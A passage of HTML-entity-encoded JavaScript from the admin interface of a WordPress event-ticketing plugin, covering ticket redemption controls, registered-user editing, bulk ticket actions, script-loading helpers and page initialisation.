							div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;&quot;+__(&#039;Redeemed via authtoken:&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&quot;&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(tokName+&#039; (#&#039;+metaObj.wc_ticket.redeemed_via_authtoken_id+&#039;)&#039;)));
						}
					}
					if (metaObj.wc_ticket.is_ticket == 1) {
						let _max_redeem_amount = typeof metaObj.wc_ticket._max_redeem_amount !== &quot;undefined&quot; ? metaObj.wc_ticket._max_redeem_amount : 1;
						$(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Ticket number: &lt;/b&gt;&quot;+codeObj.code_display).appendTo(div);
						$(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Public Ticket number: &lt;/b&gt;&quot;+metaObj.wc_ticket._public_ticket_id).appendTo(div);
						if (typeof metaObj.wc_ticket.stats_redeemed !== &quot;undefined&quot;) {
							$(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Redeem usage: &lt;/b&gt;&quot;+metaObj.wc_ticket.stats_redeemed.length + &#039; of &#039; + (_max_redeem_amount == 0 ? &#039;unlimited&#039; : _max_redeem_amount)).appendTo(div);
						}
						$(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;Ticket Page:&lt;/b&gt; &lt;a target=&quot;_blank&quot; href=&quot;&#039;+metaObj.wc_ticket._url+&#039;&quot;&gt;Open Ticket Detail Page&lt;/a&gt;&#039;).appendTo(div);
						$(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;Ticket Page Testmode:&lt;/b&gt; &lt;a target=&quot;_blank&quot; href=&quot;&#039;+metaObj.wc_ticket._url+&#039;?testDesigner=1&quot;&gt;Open Ticket Detail Page with template test code&lt;/a&gt;&#039;).appendTo(div);
						$(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;Ticket PDF:&lt;/b&gt; &lt;a target=&quot;_blank&quot; href=&quot;&#039;+metaObj.wc_ticket._url+&#039;?pdf&quot;&gt;Open Ticket PDF&lt;/a&gt;&#039;).appendTo(div);
						$(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;Ticket PDF Testmode:&lt;/b&gt; &lt;a target=&quot;_blank&quot; href=&quot;&#039;+metaObj.wc_ticket._url+&#039;?pdf&amp;testDesigner=1&quot;&gt;Open Ticket PDF with template test code&lt;/a&gt;&#039;).appendTo(div);
						$(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;Ticket Scanner:&lt;/b&gt; &lt;a target=&quot;_blank&quot; href=&quot;&#039;+_getTicketScannerURL()+encodeURIComponent(metaObj.wc_ticket._public_ticket_id)+&#039;&quot;&gt;Open Ticket Scanner with ticket&lt;/a&gt;&#039;).appendTo(div);
						$(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;Order Ticket Page:&lt;/b&gt; &lt;a target=&quot;_blank&quot; href=&quot;&#039;+metaObj.wc_ticket._order_page_url+&#039;&quot;&gt;Open Order Ticket Page&lt;/a&gt;&#039;).appendTo(div);
						$(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;Order PDF:&lt;/b&gt; &lt;a target=&quot;_blank&quot; href=&quot;&#039;+metaObj.wc_ticket._order_url+&#039;&quot;&gt;Open Order Ticket PDF&lt;/a&gt;&#039;).appendTo(div);
						if (_getOptions_isActivatedByKey(&#039;walletVollstartEnable&#039;) &amp;&amp; metaObj.wc_ticket._wallet_url) {
							$(&quot;&lt;div&gt;&quot;).html(&#039;&lt;b&gt;&#039;+__(&#039;Wallet Test&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &lt;a target=&quot;_blank&quot; href=&quot;&#039;+metaObj.wc_ticket._wallet_url+&#039;&quot;&gt;&#039;+__(&#039;Import ticket to Vollstart Wallet for testing&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/a&gt;&#039;).appendTo(div);
						}
					}

					let btngrp = $(&#039;&lt;div style=&quot;margin-top:10px;&quot;&gt;&#039;).appendTo(div);
					if (metaObj.wc_ticket.is_ticket == 1) {
						$(&#039;&lt;button&gt;&#039;).html(&quot;Download PDF&quot;).appendTo(btngrp).on(&quot;click&quot;, ()=&gt;{
							_downloadFile(&#039;downloadPDFTicket&#039;, {&#039;code&#039;:codeObj.code}, &quot;eventticket_&quot;+codeObj.code+&quot;.pdf&quot;);
							return false;
						});
						$(&#039;&lt;button&gt;&#039;).html(&quot;Download Ticket Badge&quot;).appendTo(btngrp).on(&quot;click&quot;, ()=&gt;{
							_downloadFile(&#039;downloadPDFTicketBadge&#039;, {&#039;code&#039;:codeObj.code}, &quot;eventticket_badge_&quot;+codeObj.code+&quot;.pdf&quot;);
							return false;
						});
						$(&#039;&lt;button&gt;&#039;).html(&quot;Display QR with URL to PDF&quot;).appendTo(btngrp).on(&quot;click&quot;, e=&gt;{
							let id = &#039;qrcode_&#039;+codeObj.code+&#039;_&#039;+time();
							let content = &#039;This QR image contains:&lt;br&gt;&lt;b&gt;&#039;+codeObj.code+&#039;&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;div id=&quot;&#039;+id+&#039;&quot; style=&quot;text-align:center;&quot;&gt;&lt;/div&gt;&lt;script&gt;jQuery(&quot;#&#039;+id+&#039;&quot;).qrcode(&quot;&#039;+metaObj.wc_ticket._url+&#039;?pdf&quot;);&lt;/script&gt;&#039;;
							LAYOUT.renderInfoBox(&#039;QR with URL to PDF&#039;, content);
						});
					}
					if (metaObj.wc_ticket.is_ticket == 0) {
						$(&#039;&lt;button&gt;&#039;).html(&quot;Set as ticket sale&quot;).on(&quot;click&quot;, ()=&gt;{
							LAYOUT.renderYesNo(&#039;Set as a ticket&#039;, &#039;Do you want to set this purchased ticket number as a ticket sale?&#039;, ()=&gt;{
								_makeGet(&#039;setWoocommerceTicketForCode&#039;, {&#039;code&#039;:codeObj.code}, _codeObj=&gt;{
									__getData(_codeObj);
								});
							});
						}).appendTo(btngrp);
					}
					let btn_redeem = $(&#039;&lt;button&gt;&#039;).addClass(&quot;button-delete&quot;).html(&#039;Redeem ticket&#039;).on(&quot;click&quot;, ()=&gt;{
						let reg_userid = (metaObj.user &amp;&amp; metaObj.user.reg_userid) ? metaObj.user.reg_userid : 0;
						LAYOUT.renderYesNo(&#039;Redeem ticket&#039;, &#039;Do you really want to redeem the ticket number &quot;&#039;+codeObj.code_display+&#039;&quot;? Click OK to redeem the ticket.&#039;, ()=&gt;{
							let userid = prompt(&#039;Optional. You can enter a userid you redeem the ticket for&#039;, reg_userid);
							_makeGet(&#039;redeemWoocommerceTicketForCode&#039;, {&#039;code&#039;:codeObj.code, &#039;userid&#039;:userid}, _codeObj=&gt;{
								__getData(_codeObj);
							});
						});
					}).appendTo(btngrp);
					let _max_redeem_amount = typeof metaObj.wc_ticket._max_redeem_amount !== &quot;undefined&quot; ? metaObj.wc_ticket._max_redeem_amount : 1;
					if (metaObj.wc_ticket.is_ticket == 0 || _max_redeem_amount == 0 || metaObj.wc_ticket.stats_redeemed.length &gt;= _max_redeem_amount) {
						btn_redeem.attr(&quot;disabled&quot;, true);
					}

					let btn_unredeem = $(&#039;&lt;button&gt;&#039;).addClass(&quot;button-delete&quot;).html(&#039;Delete redeem information&#039;).on(&quot;click&quot;, ()=&gt;{
						LAYOUT.renderYesNo(&#039;Remove ticket information&#039;, &#039;Do you really want to remove the information that the ticket number &quot;&#039;+codeObj.code_display+&#039;&quot; is redeemed? Click OK to un-redeem the ticket and allow your customer to use the ticket again.&#039;, ()=&gt;{
							_makeGet(&#039;removeRedeemWoocommerceTicketForCode&#039;, {&#039;code&#039;:codeObj.code}, _codeObj=&gt;{
								__getData(_codeObj);
							});
						});
					}).appendTo(btngrp);
					if (metaObj.wc_ticket.is_ticket == 0 || metaObj.wc_ticket.redeemed_date == &quot;&quot;) {
						btn_unredeem.attr(&quot;disabled&quot;, true);
					}
					if (metaObj.wc_ticket.is_ticket == 1 &amp;&amp; metaObj.wc_ticket.redeemed_date == &quot;&quot;) {
						$(&#039;&lt;button&gt;&#039;).addClass(&quot;button-delete&quot;).html(&quot;Unset Ticket&quot;).on(&quot;click&quot;, ()=&gt;{
							LAYOUT.renderYesNo(&#039;Remove ticket&#039;, &#039;Do you really want to remove the ticket info from this ticket number? The WooCommerce sale will be set and you need to remove it manually.&#039;, ()=&gt;{
								_makeGet(&#039;removeWoocommerceTicketForCode&#039;, {&#039;code&#039;:codeObj.code}, _codeObj=&gt;{
									__getData(_codeObj);
								});
							});
						}).appendTo(btngrp);
					}
				}
			}
		}
		__getData();
		return div;
	}

	function _displayRedeemOperationsForCode(d, metaObj) {
		let div = $(&#039;&lt;div/&gt;&#039;);
		if (typeof metaObj.wc_ticket.stats_redeemed !== &quot;undefined&quot;) {
			if (metaObj.wc_ticket.stats_redeemed.length &gt; 0) {
				let t = $(&#039;&lt;table&gt;&#039;).appendTo(div);
				t.html(&#039;&lt;tr&gt;&lt;th&gt;#&lt;/th&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;IP&lt;/th&gt;&lt;th&gt;By admin&lt;/th&gt;&lt;th&gt;User ID&lt;/th&gt;&lt;/tr&gt;&#039;).appendTo(t);
				metaObj.wc_ticket.stats_redeemed.forEach((v,idx)=&gt;{
					let tr = $(&#039;&lt;tr&gt;&#039;).appendTo(t);
					$(&#039;&lt;td&gt;&#039;).html(&#039;#&#039;+(idx+1)).appendTo(tr);
					$(&#039;&lt;td&gt;&#039;).html(DateFormatStringToDateTimeText(v.redeemed_date)+&#039; (&#039;+v.redeemed_date+&#039;)&#039;).appendTo(tr);
					$(&#039;&lt;td&gt;&#039;).html(v.ip).appendTo(tr);
					$(&#039;&lt;td&gt;&#039;).html(v.redeemed_by_admin == 1 ? &#039;Yes&#039; : &#039;No&#039;).appendTo(tr);
					$(&#039;&lt;td&gt;&#039;).html(v.userid).appendTo(tr);
				});
			} else {
				div.html(&quot;no redeem operations yet&quot;);
			}
		}
		return div;
	}

	function _displayRegisteredUserForCode(codeObj, metaObj, tabelle) {
		let div = $(&#039;&lt;div/&gt;&#039;);
		function __getData(_codeObj) {
			if (_codeObj) { // um eine Aktualisierung in das codeObj aufzunehmen
				updateCodeObject(codeObj, _codeObj);
			}
			div.html(&quot;&quot;);
			let btngrp = $(&#039;&lt;div style=&quot;margin-top:10px;&quot;&gt;&#039;);
			if (typeof codeObj.meta !== &quot;undefined&quot; &amp;&amp; codeObj.meta !== &quot;&quot;) {
				let metaObj = getCodeObjectMeta(codeObj);
				if (metaObj.user.reg_request !== &quot;&quot;) {
					div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Register value:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.user.value)));
					div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Register by wordpress userid:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.user.reg_userid)));
					if (metaObj.user._reg_username) div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Register by wordpress user:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.user._reg_username)));
					div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Request from:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.user.reg_request)));
					div.append($(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Request from IP:&lt;/b&gt; &quot;).append($(&#039;&lt;span&gt;&#039;).text(metaObj.user.reg_ip)));
					btngrp.append($(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-delete&quot;).html(&#039;Delete registered user information&#039;).on(&quot;click&quot;, function(){
						LAYOUT.renderYesNo(&#039;Remove register user value&#039;, &#039;Do you really want to remove the registered user value of this ticket &quot;&#039;+codeObj.code_display+&#039;&quot;?&#039;, ()=&gt;{
							// sende delete user from code operation zum server
							div.html(_getSpinnerHTML());
							_makeGet(&#039;removeUserRegistrationFromCode&#039;, {&#039;code&#039;:codeObj.code}, _codeObj=&gt;{
								//tabelle.ajax.reload();
								__getData(_codeObj);
							});
						});
					}));
				} else {
					div.append(&quot;No registration to this ticket done&quot;);
				}

				btngrp.append($(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-edit&quot;).html(&#039;Edit registered user information&#039;).on(&quot;click&quot;, function(){
					// display eingabe maske für value und userid
					function __showMask(){
						let _options = {
							title: &#039;Edit registered user&#039;,
							modal: true,
							minWidth: 400,
							minHeight: 200,
							buttons: [
								{
									id: &#039;okBtn&#039;,
									text: &quot;Ok&quot;,
									click: function() {
										___submitForm();
									}
								},
								{
									text: &quot;Cancel&quot;,
									click: function() {
										$( this ).dialog( &quot;close&quot; );
										$( this ).html(&#039;&#039;);
									}
								}
							]
						};
						let dlg = $(&#039;&lt;div /&gt;&#039;);
						let form = $(&#039;&lt;form /&gt;&#039;).appendTo(dlg);

						let elem_value = $(&#039;&lt;input type=&quot;text&quot; value=&quot;&#039;+metaObj.user.value+&#039;&quot; /&gt;&#039;);
						$(&#039;&lt;div/&gt;&#039;).css({&quot;margin-top&quot;:&quot;10px&quot;,&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;})
							.html(&#039;Registered value&lt;br&gt;&#039;)
							.append(elem_value)
							//.append(&#039;&lt;br&gt;&lt;i&gt;If CVV is set, then your user will be asked to enter also the CVV to check the serial code.&lt;/i&gt;&#039;)
							.appendTo(form);
						let elem_userid = $(&#039;&lt;input type=&quot;number&quot; min=&quot;0&quot; value=&quot;&#039;+metaObj.user.reg_userid+&#039;&quot; /&gt;&#039;);
						$(&#039;&lt;div/&gt;&#039;).css({&quot;margin-top&quot;:&quot;10px&quot;,&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;})
							.html(&#039;Registered wordpress userid&lt;br&gt;&#039;)
							.append(elem_userid)
							.appendTo(form);

						dlg.append(&#039;&lt;p&gt;Changes will trigger the webhook, if activated.&lt;br&gt;The IP will updated too. The registered date will only be changed, if it was not set already.&lt;/p&gt;&#039;);
						dlg.dialog(_options);

						form.on(&quot;submit&quot;, function(event) {
							event.preventDefault();
							___submitForm();
						});
						function ___submitForm() {
							let reg_userid = intval(elem_userid.val().trim());
							let reg_value = elem_value.val().trim();
							dlg.html(_getSpinnerHTML());
							let _data = {&quot;value&quot;:reg_value, &quot;reg_userid&quot;:reg_userid};
							form[0].reset();
							_data.code = codeObj.code;
							$(&#039;#okBtn&#039;).remove();
							_makeGet(&#039;editUseridForUserRegistrationFromCode&#039;, _data, _codeObj=&gt;{
								//tabelle.ajax.reload();
								__getData(_codeObj);
								closeDialog(dlg);
							}, function() {
								closeDialog(dlg);
							});
						}
					} // ende __showMask
					__showMask();
				})); // end button-edit
				div.append(btngrp);
				if (isPremium()) div.append(PREMIUM.displayRegisteredUserForCode(codeObj, tabelle, metaObj));
			} // endif typeof codeObj.meta !== &quot;undefined&quot; &amp;&amp; codeObj.meta !== &quot;&quot;
		}
		__getData();
		return div;
	}

	function addStyleCode(content) {
		let c = document.createElement(&#039;style&#039;);
		c.innerHTML = content;
		document.getElementsByTagName(&quot;head&quot;)[0].appendChild(c);
	}
	function addStyleTag(url, id, onloadfkt, attrListe, loadLatest) {
	  var script  = document.createElement(&#039;link&#039;);
	  script.type = &#039;text/css&#039;;
	  script.rel = &quot;stylesheet&quot;;
	  let myId = id;
	  if (!myId) myId = url;
		if (document.getElementById(id) &amp;&amp; document.getElementById(id).src === url) {
			onloadfkt &amp;&amp; onloadfkt();
			return; // prevent re-adding the same tag
		}
	  script.id = id;
	  if (attrListe) for(var attr in attrListe) script.setAttribute(attr, attrListe[attr]);
	  script.href = url;
	  if (loadLatest) script.href += &#039;?t=&#039;+new Date().getTime();
	  if (typeof onloadfkt !== &quot;undefined&quot;) script.onload = onloadfkt;
	  document.getElementsByTagName(&quot;head&quot;)[0].appendChild(script);
	}
	function addScriptCode(content, id) {
		if (typeof system.DYNJS_CACHE.scriptCodeElements === &quot;undefined&quot;) {
			system.DYNJS_CACHE.scriptCodeElements = {};
		}
		let c;
		if (id &amp;&amp; typeof system.DYNJS_CACHE.scriptCodeElements[id] !== &quot;undefined&quot;) {
			c = system.DYNJS_CACHE.scriptCodeElements[id];
			document.getElementsByTagName(&quot;head&quot;)[0].removeChild(c);
		} else {
			c = document.createElement(&#039;script&#039;);
		}
		c.innerHTML = content;
		if (id) {
			system.DYNJS_CACHE.scriptCodeElements[id] = c;
		}
		document.getElementsByTagName(&quot;head&quot;)[0].appendChild(c);
	}
	function addScriptTag(url, id, onloadfkt, attrListe, loadLatest) {
	  	var head    = document.getElementsByTagName(&quot;head&quot;)[0];
	  	var script  = document.createElement(&#039;script&#039;);
	  	script.type = &#039;text/javascript&#039;;
	  	let myId = id;
	  	if (!myId) myId = url;
		if (document.getElementById(id) &amp;&amp; document.getElementById(id).src === url) {
			onloadfkt &amp;&amp; onloadfkt();
			return; // prevent re-adding the same tag
		}
	  script.id = id;
	  if (attrListe) for(var attr in attrListe) script.setAttribute(attr, attrListe[attr]);
	  script.src = url;
	  if (loadLatest) script.src += &#039;?t=&#039;+new Date().getTime();
	  if (typeof onloadfkt !== &quot;undefined&quot;) script.onload = onloadfkt;
	  head.appendChild(script);
	}

	function getPremiumProductURL() {
		return &#039;https://vollstart.com/event-tickets-with-ticket-scanner/?utm_source=etwts_plugin&amp;utm_medium=plugin_link&amp;utm_campaign=etwts_upgrade_to_premium&#039;;
	}
	function getLabelPremiumOnly() {
		return &#039;[&lt;a href=&quot;&#039;+getPremiumProductURL()+&#039;&quot;&gt;PREMIUM ONLY&lt;/a&gt;]&#039;;
	}

	function _getSpinnerHTML(text) {
		let html = &#039;&lt;div class=&quot;et-spinner&quot;&gt;&lt;span class=&quot;lds-dual-ring&quot;&gt;&lt;/span&gt;&#039;;
		if (text) html += &#039;&lt;div class=&quot;et-spinner-text&quot;&gt;&#039; + text + &#039;&lt;/div&gt;&#039;;
		html += &#039;&lt;/div&gt;&#039;;
		return html;
	}

	function _loadingJSDatatables(cbf) {
		let loaded = {};
		addStyleCode(&#039;table.dataTable tr.shown td.details-control {background: url(&#039;+myAjax._plugin_home_url+&#039;/img/details_close.png) no-repeat center center;}td.details-control {background: url(&#039;+myAjax._plugin_home_url+&#039;/img/details_open.png) no-repeat center center;cursor: pointer;}&#039;);
		addStyleTag(myAjax._plugin_home_url+&#039;/3rd/datatables.min.css&#039;, &#039;jquery_dataTables&#039;, ()=&gt;{
			loaded[&#039;1&#039;] = true;
			if (loaded[&#039;2&#039;]) {
				cbf &amp;&amp; cbf();
			}
		}, {&#039;crossorigin&#039;:&quot;anonymous&quot;});
		addScriptTag(myAjax._plugin_home_url+&quot;/3rd/datatables.min.js&quot;, &#039;jquery_dataTables&#039;, ()=&gt;{
			loaded[&#039;2&#039;] = true;
			if (loaded[&#039;1&#039;]) {
				cbf &amp;&amp; cbf();
			}
		}, {&#039;crossorigin&#039;:&quot;anonymous&quot;, &quot;charset&quot;:&quot;utf8&quot;});
	}

	function isPremium() {
		return myAjax._isPremium == &quot;1&quot; || myAjax._isPremium === true;
	}

	var BulkActions = {
		&#039;codes&#039;: {
			&#039;delete&#039;: {
				&quot;label&quot;: _x(&#039;Delete&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				&quot;fkt&quot;: (selectedElems, tabelle_codes_datatable)=&gt;{
					LAYOUT.renderYesNo(&#039;Delete all selected tickets?&#039;, &#039;Are you sure, you want to delete all selected tickets?&lt;br&gt;&lt;br&gt;&#039;+selectedElems.length+&#039; tickets will be deleted.&#039;, ()=&gt;{
						let _data = {&#039;ids&#039;:[]};
						selectedElems.forEach(v=&gt;{
							_data.ids.push($(v).attr(&quot;data-key&quot;));
						});
						_makePost(&#039;removeCodes&#039;, _data, result=&gt;{
							tabelle_codes_datatable.ajax.reload();
						});
					});
				}
			},
			&#039;remove_marked_used&#039;: {
				&quot;label&quot;: _x(&quot;Remove marked as used&quot;, &#039;option&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				&quot;fkt&quot;: (selectedElems, tabelle_codes_datatable)=&gt;{
					LAYOUT.renderYesNo(&#039;Remove marked used?&#039;, &#039;Are you sure, you want to remove the used marked from all selected tickets?&lt;br&gt;&lt;br&gt;&#039;+selectedElems.length+&#039; tickets will be changed.&#039;, ()=&gt;{
						let _data = {&#039;ids&#039;:[], &#039;codes&#039;:[]};
						selectedElems.forEach(v=&gt;{
							_data.ids.push($(v).attr(&quot;data-key&quot;));
							_data.codes.push($(v).attr(&quot;data-code&quot;));
						});
						_makePost(&#039;removeUsedInformationFromCodeBulk&#039;, _data, result=&gt;{
							tabelle_codes_datatable.ajax.reload();
						});
					});
				}
			},
			&#039;remove_ticket_redeemed&#039;: {
				&quot;label&quot;: _x(&quot;Delete Redeem Information&quot;, &#039;option&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				&quot;fkt&quot;: (selectedElems, tabelle_codes_datatable)=&gt;{
					LAYOUT.renderYesNo(&#039;Delete the redeem information?&#039;, &#039;Are you sure, you want to remove the the information about the redeem operation of the ticket?&lt;br&gt;&lt;br&gt;&#039;+selectedElems.length+&#039; tickets will be changed.&#039;, ()=&gt;{
						let _data = {&#039;ids&#039;:[], &#039;codes&#039;:[]};
						selectedElems.forEach(v=&gt;{
							_data.ids.push($(v).attr(&quot;data-key&quot;));
							_data.codes.push($(v).attr(&quot;data-code&quot;));
						});
						_makePost(&#039;removeRedeemWoocommerceTicketForCodeBulk&#039;, _data, result=&gt;{
							tabelle_codes_datatable.ajax.reload();
						});
					});
				}
			},
			&#039;generate_pdf&#039;: {
				&quot;label&quot;: _x(&quot;Generate ticket PDF&quot;, &#039;option&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				&quot;fkt&quot;: (selectedElems, tabelle_codes_datatable)=&gt;{
					LAYOUT.renderYesNo(&#039;Generate the ticket PDF?&#039;, &#039;Are you sure, you want to generate the ticket PDFs for the selected tickets? This can take a while an could timeout the server.&lt;br&gt;&lt;br&gt;&#039;+selectedElems.length+&#039; tickets will be added in one PDF.&#039;, ()=&gt;{
						let _data = {&#039;ids&#039;:[], &#039;codes&#039;:[]};
						selectedElems.forEach(v=&gt;{
							_data.ids.push($(v).attr(&quot;data-key&quot;));
							_data.codes.push($(v).attr(&quot;data-code&quot;));
						});
						_downloadFile(&#039;generateOnePDFForTicketsBulk&#039;, _data, &quot;tickets_merged.pdf&quot;);
					});
				}
			},
			&#039;generate_badge&#039;: {
				&quot;label&quot;: _x(&quot;Generate badge ticket&quot;, &#039;option&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				&quot;fkt&quot;: (selectedElems, tabelle_codes_datatable)=&gt;{
					LAYOUT.renderYesNo(&#039;Generate the ticket badge PDF?&#039;, &#039;Are you sure, you want to generate the ticket badge PDFs for the selected tickets? This can take a while an could timeout the server.&lt;br&gt;&lt;br&gt;&#039;+selectedElems.length+&#039; badges will be added in one PDF.&#039;, ()=&gt;{
						let _data = {&#039;ids&#039;:[], &#039;codes&#039;:[]};
						selectedElems.forEach(v=&gt;{
							_data.ids.push($(v).attr(&quot;data-key&quot;));
							_data.codes.push($(v).attr(&quot;data-code&quot;));
						});
						_downloadFile(&#039;generateOnePDFForBadgesBulk&#039;, _data, &quot;ticketbadges_merged.pdf&quot;);
					});
				}
			},
			&#039;move_to_list&#039;:{
				&quot;label&quot;: _x(&quot;Move to ticket list&quot;, &#039;option&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				&quot;fkt&quot;: (selectedElems, tabelle_codes_datatable)=&gt;{
					let content = $(&#039;&lt;div&gt;&#039;);
					let div_code_list = _createDivInput(_x(&#039;Assign selected tickets to this ticket list&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(content);
					let input_code_list = $(&#039;&lt;select&gt;&lt;option value=&quot;0&quot;&gt;&#039;+_x(&#039;None&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/select&gt;&lt;/select&gt;&#039;).appendTo(div_code_list);
					DATA_LISTS.forEach(v=&gt;{
						input_code_list.append(&#039;&lt;option value=&quot;&#039;+v.id+&#039;&quot;&gt;&#039;+v.name+&#039;&lt;/option&gt;&#039;);
					});
					content.append(&quot;&lt;br&gt;&quot;);
					LAYOUT.renderYesNo(&#039;Move ticket(s) to ticket list&#039;, content, ()=&gt;{
						let _data = {&#039;ids&#039;:[], &#039;codes&#039;:[], &#039;list_id&#039;:input_code_list.val()};
						selectedElems.forEach(v=&gt;{
							_data.ids.push($(v).attr(&quot;data-key&quot;));
							_data.codes.push($(v).attr(&quot;data-code&quot;));
						});
						_makePost(&#039;assignTicketListToTicketsBulk&#039;, _data, result=&gt;{
							tabelle_codes_datatable.ajax.reload();
						});
					});
				}
			}
		}
	}

	function addTabCSS() {
		$(&#039;&lt;style&gt;&#039;)
		.prop(&#039;type&#039;, &#039;text/css&#039;)
		.html(`
			.tabs {
				width: 100%;
				display: block;
			}
			.tab-nav {
				list-style: none;
				padding: 0;
				margin: 0;
				display: flex;
				border-bottom: 1px solid #ccc;
			}
			.tab-nav li {
				margin: 0;
			}
			.tab-nav a {
				display: block;
				padding: 10px 20px;
				text-decoration: none;
				color: #333;
				border: 1px solid #ccc;
				border-bottom: none;
				background: #f9f9f9;
				margin-right: 5px;
				border-radius: 5px 5px 0 0;
			}
			.tab-nav a.active {
				background: #fff;
				border-bottom: 1px solid #fff;
				font-weight: bold;
			}
			.tab-content {
				display: none;
				padding: 20px;
				border: 1px solid #ccc;
				border-radius: 0 5px 5px 5px;
				background: #fff;
			}
		`)
		.appendTo(&#039;head&#039;);
	}

	function getHelperFunktions() {
		return {
			_getSpinnerHTML:_getSpinnerHTML,
			_makePost:_makePost,
			_makeGet:_makeGet,
			_getMediaData:_getMediaData,
			_downloadFile:_downloadFile,
			_requestURL:_requestURL,
			_getLAYOUT:function(){ return LAYOUT;},
			_getDIV:function(){ return DIV;},
			_BulkActions:BulkActions,
			_closeDialog:closeDialog,
			_OPTIONS:function(){ return OPTIONS;},
			_getVarSYSTEM:function(){ return system;},
			_updateCodeObject:updateCodeObject,
			_getCodeObjectMeta:getCodeObjectMeta,
			_DateTime2Text:DateTime2Text,
			_DateFormatStringToDateTimeText:DateFormatStringToDateTimeText,
			_DateFormatStringToDateText:DateFormatStringToDateText,
			_compareVersions:compareVersions,
			_getBackButtonDiv:getBackButtonDiv,
			_addStyleTag:addStyleTag
		};
	}

	function refreshNoncePeriodically() {
        // check if the last check of nonce is older than 4 minutes
        // do a ping to get the new nonce
        setInterval(()=&gt;{
            let last_check = DATA.last_nonce_check;
            if (last_check == null || last_check == &quot;&quot;) {
                last_check = 0;
            }
            let now = new Date().getTime();
            if (now - last_check &gt; 240000) {
                _makeGet(&#039;ping&#039;, [], data=&gt;{
                }, ()=&gt;{/* silently ignore ping errors (e.g. timeout when tab is frozen) */});
            }
        }, 60000);
    }

	function init() {
		addStyleCode(&#039;.lds-dual-ring {display:inline-block;width:40px;height:40px;}.lds-dual-ring:after {content:&quot; &quot;;display:block;width:28px;height:28px;margin:4px;border-radius:50%;border:3px solid #9333ea;border-color:#9333ea transparent #9333ea transparent;animation:lds-dual-ring 0.8s linear infinite;}@keyframes lds-dual-ring {0% {transform: rotate(0deg);}100% {transform: rotate(360deg);}}&#039;);
		// CSS is now loaded via wp_enqueue_style in PHP
		$(&#039;.event-tickets-with-ticket-scanner-admin-page&#039;).addClass(&#039;et-ready&#039;);

		addScriptTag(myAjax._plugin_home_url+&#039;/3rd/ace/ace.js&#039;);

		addTabCSS();

    	DIV = $(&#039;#&#039;+myAjax.divId);
    	DIV.html(_getSpinnerHTML());
    	LAYOUT = new Layout();
		function _init() {
			document.body.style.background = &quot;#ffffff&quot;;
	 		_loadingJSDatatables(function() {
				if (typeof PARAS.display !== &quot;undefined&quot; &amp;&amp; PARAS.display == &#039;options&#039;) {
					_displayOptionsArea();
				} else if (typeof PARAS.display !== &quot;undefined&quot; &amp;&amp; PARAS.display == &#039;support&#039;) {
					_displaySupportInfoArea();
				} else if (typeof PARAS.display !== &quot;undefined&quot; &amp;&amp; PARAS.display == &#039;authtokens&#039;) {
					_displayAuthTokensArea();
				} else if (typeof PARAS.display !== &quot;undefined&quot; &amp;&amp; PARAS.display == &#039;faq&#039;) {
					_displayFAQArea();
				} else if (typeof PARAS.display !== &quot;undefined&quot; &amp;&amp; PARAS.display == &#039;attendance&#039; &amp;&amp; isPremium()) {
					_displayAttendanceArea();
				} else {
					LAYOUT.renderAdminPageLayout();
				}
			});
		}

    	if (isPremium() &amp;&amp; myAjax._premJS !== &quot;&quot;) {
    		addScriptTag(myAjax._premJS, null, function() {
    			PREMIUM = new sasoEventticketsPremium(myAjax, getHelperFunktions());
    			_init();
    		});
    	} else {
			_init();
    	}
		$(&#039;#wpfooter&#039;).css(&#039;display&#039;, &#039;none&#039;);
		refreshNoncePeriodically();
	}
	if (!doNotInit) init();
	return {
		init: init,
		form_fields_serial_format: _form_fields_serial_format,
		makePost: _makePost,
		getMediaData: _getMediaData
	};

}
if (typeof Ajax_sasoEventtickets !== &quot;undefined&quot;) {
	window.sasoEventtickets_backend = sasoEventtickets(Ajax_sasoEventtickets);
}

/**
 * Global handler for the &quot;Migrate Options&quot; admin notice button.
 * Called via onclick from the admin notice rendered by showOptionsMigrationNotice().
 */
function sasoEventticketsMigrateOptions(btn) {
	btn.disabled = true;
	btn.textContent = &#039;...&#039;;
